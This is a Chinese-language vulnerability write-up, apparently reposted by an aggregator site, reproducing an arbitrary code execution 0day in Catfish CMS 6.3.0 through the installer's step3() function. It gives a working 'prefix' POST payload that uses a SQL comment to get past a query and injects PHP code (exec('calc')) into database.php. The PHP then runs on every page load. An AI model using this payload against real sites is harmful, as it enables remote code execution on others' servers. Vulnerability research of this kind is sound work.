Catfish任意代码执行漏洞 0day
Posted yu22x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Catfish任意代码执行漏洞 0day相关的知识,希望对你有一定的参考价值。
Catfish任意代码执行漏洞
漏洞影响
Catfish6.3.0
复现过程
漏洞位置:application\\install\\controller\\Index.php step3()
在该函数中会将我们传入的内容替换database.php中的数据
我们来看下该文件
这么一看会发现很简单,是不是只要post 传入prefix=','a'=>exec('calc')]?>
之类的的就可以成功写入里面呢,但是经过断点跟踪发下存在一些问题。
在此之前会进行一个查询,如果我们传prefix=','a'=>exec('calc')]?>
,那么最终的查询语句就是select * from ','a'=>exec('calc')]?>posts where id=1
很明显会sql语法错误,所以为了绕过这个地方需要加些东西,我们只要保证能查出数据即可。
所以我们可以传
prefix=information_schema.schemata%23','a'=>exec('calc')]?>
这样拼接的sql语句为select * from information_schema.schemata%23','a'=>exec('calc')]?>>posts where id=1
#后面的会被注释掉,所以最终执行的sql语句为select * from information_schema.schemata
。成功达到查出数据的目的。
在安装的过程抓包修改post参数如下。
接着我们来看下本地的database.php文件
可以看到成功写入。
剩下的就简单了,因为是数据库配置文件,所以任何调用数据库的地方都会触发,比如首页。
以上是关于Catfish任意代码执行漏洞 0day的主要内容,如果未能解决你的问题,请参考以下文章